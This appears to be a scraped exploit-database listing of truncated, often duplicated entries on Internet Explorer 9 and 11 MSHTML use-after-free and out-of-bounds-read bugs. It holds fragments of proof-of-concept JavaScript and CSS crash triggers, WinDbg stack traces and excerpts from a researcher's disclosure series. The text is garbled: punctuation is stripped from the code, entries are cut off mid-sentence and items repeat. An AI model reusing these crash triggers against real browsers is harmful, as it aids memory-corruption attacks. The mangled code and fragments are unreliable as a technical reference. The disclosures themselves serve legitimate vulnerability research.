Internet Explorer 9 MSHTML - CPtsTextParaclient::CountApes Out-of-Bounds Read

Microsoft Internet Explorer 9 suffers from a MSHTML CPtsTextParaclient::CountApes out-of-bounds read vulnerability. Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the third entry in that series. The below informati...

Microsoft Internet Explorer 9 - MSHTML CPtsTextParaclient::CountApes Out-of-Bounds Read

Microsoft Internet Explorer 9 - MSHTML CPtsTextParaclient::CountApes Out-of-Bounds Read oElement1 position: absolute; oElement2:after position: relative; content: counterx; onload = function oElement1 = document.createElement'oElement1'; document.documentElement.appendChildoElement1; oElement2 =...

Microsoft Internet Explorer 9 - MSHTML CPtsTextParaclient::CountApes Out-of-Bounds Read

oElement1 position: absolute; oElement2:after position: relative; content: counterx; onload = function oElement1 = document.createElement'oElement1'; document.documentElement.appendChildoElement1; oElement2 = document.createElement'oElement2'; document.documentElement.appendChildoElement2; ; !--...

Microsoft Internet Explorer 11 - MSHTML CView::CalculateImageImmunity Use-After-Free Exploit

Exploit for windows platform in category dos / poc var oDocumentFragment = document.createDocumentFragment, oElement = document.createElement'x'; oDocumentFragment.appendChildoElement; oElement.style.listStyleImage = "urlx"; oDocumentFragment.removeChildoElement; !-- Exploit I tried a few tricks ...

Microsoft Internet Explorer 11 MSHTML CView::CalculateImageImmunity Use-After-Free

Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the second entry in that series. The below information is also available on my blog at http://blog.skylined.nl/20161102001.html. There you can find a repro that...

Microsoft Internet Explorer 9 MSHTML CAttrArray Use-After-Free

Exploit for windows platform in category dos / poc Throughout November, I plan to release details on vulnerabilities I found in web-browsers which I've not released before. This is the first entry in that series. The below information is also available on my blog at...

Microsoft Internet Explorer 11 - MSHTML CView::CalculateImageImmunity Use-After-Free

Microsoft Internet Explorer 11 - MSHTML CView::CalculateImageImmunity Use-After-Free var oDocumentFragment = document.createDocumentFragment, oElement = document.createElement'x'; oDocumentFragment.appendChildoElement; oElement.style.listStyleImage = "urlx"; oDocumentFragment.removeChildoElement;...

Microsoft Internet Explorer 9 - MSHTML CAttrArray Use-After-Free (MS14-056)

Microsoft Internet Explorer 9 - MSHTML CAttrArray Use-After-Free MS14-056 oTextArea = document.createElement'textarea'; oTextArea.dataSrc = 1; oTextArea.id = 1; oTextArea.innerHTML = 1; oTextArea.onvolumechange = 1; oTextArea.style.setProperty'list-style', "url"; !-- Analysis The CAttrArray objec...

Microsoft Internet Explorer 11.0.9600.18482 - Use After Free

No description provided by source. body background-color:lime; font-color:red; ; / Exploit Title: Internet Explorer 11 Use After Free Date: 05/09/2016 - 11/09/2016 Exploit Author: Marcin Ressel Vendor Homepage: https://www.microsoft.com/pl-pl/ Version: 11.0.9600.18482 Tested on: Windows 7 x64 0:0...

Microsoft Internet Explorer - MSHTML!CMultiReadStreamLifetimeManager::ReleaseThreadStateInternal Read AV

function eventhandler1 CollectGarbage; function eventhandler5 try /FileReader/ var var00063 = new FileReader; catcherr //line 68 try /Blob/ var var00064 = new Blob; catcherr //line 69 try var00063.readAsDataURLvar00064; catcherr //line 70 iiThS9lJ8 A7...

Microsoft Internet Explorer: UAF in MSHTML!CSVGHelpers::SetAttributeStringAndPointer

No description provided by source...

Internet Explorer 11 MSHTML!CMarkupPointer - 释放后重用漏洞

No description provided by source...

Microsoft Internet Explorer 11 - MSHTML!CMarkupPointer::UnEmbed Use-After-Free

body background-color:lime; font-color:white; ; / Title: MSHTML!CMarkupPointer::UnEmbed Use After Free Author: Marcin Ressel @resselm Date: 15.04.2016 Vendor Homepage: www.microsoft.com Software Link: n/a Version: IE11 latest Tested on: Windows 10 x64 && Windows 7 x64...

Microsoft Internet Explorer 11 - MSHTML!CMarkupPointer::UnEmbed Use-After-Free

Exploit for windows platform in category dos / poc body background-color:lime; font-color:white; ; / Title: MSHTML!CMarkupPointer::UnEmbed Use After Free Author: Marcin Ressel @resselm Date: 15.04.2016 Vendor Homepage: www.microsoft.com Software Link: n/a Version: IE11 latest Tested on: Windows 1...

Microsoft Internet Explorer 11 - MSHTML!CMarkupPointer::UnEmbed Use-After-Free

Microsoft Internet Explorer 11 - MSHTML!CMarkupPointer::UnEmbed Use-After-Free body background-color:lime; font-color:white; ; / Title: MSHTML!CMarkupPointer::UnEmbed Use After Free Author: Marcin Ressel @resselm Date: 15.04.2016 Vendor Homepage: www.microsoft.com Software Link: n/a Version: IE11...

Internet Explorer - MSHTML!CSVGHelpers::SetAttributeStringAndPointer Use-After-Free (MS16-023)

No description provided by source...

Microsoft Internet Explorer - MSHTML!CSVGHelpers::SetAttributeStringAndPointer Use-After-Free (MS16-

Exploit for windows platform in category dos / poc k 10 ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 0bb14b64 6ad180b8 vrfcore!VerifierStopMessageEx+0x571 0bb14b88 67fec434 vrfcore!VerifierDisableVerifier+0x748 0bb14bdc 67fea3dc...

Microsoft Internet Explorer - MSHTML!CSVGHelpers::SetAttributeStringAndPointer Use-After-Free (MS16-023)

k 10 ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 0bb14b64 6ad180b8 vrfcore!VerifierStopMessageEx+0x571 0bb14b88 67fec434 vrfcore!VerifierDisableVerifier+0x748 0bb14bdc 67fea3dc verifier67fe0000!VerifierStopMessage+0x74 0bb14c40 67fe733d...

Microsoft Internet Explorer - MSHTML!CSVGHelpers::SetAttributeStringAndPointer Use-After-Free (MS16-023)

Microsoft Internet Explorer - MSHTML!CSVGHelpers::SetAttributeStringAndPointer Use-After-Free MS16-023 k 10 ChildEBP RetAddr WARNING: Stack unwind information not available. Following frames may be wrong. 0bb14b64 6ad180b8 vrfcore!VerifierStopMessageEx+0x571 0bb14b88 67fec434...

Microsoft Internet Explorer - Read AV in MSHTML!Layout::LayoutBuilderDivider::BuildPageLayout (MS16-023)

Microsoft Internet Explorer - Read AV in MSHTML!Layout::LayoutBuilderDivider::BuildPageLayout MS16-023 :before content:countercounter-0 close-quote url?; column-count:1; position:fixed; k ChildEBP RetAddr 0c2c9688 60ca029e MSHTML!Layout::LayoutBuilderDriver::BuildPageLayout+0x6f2093 0c2c974c...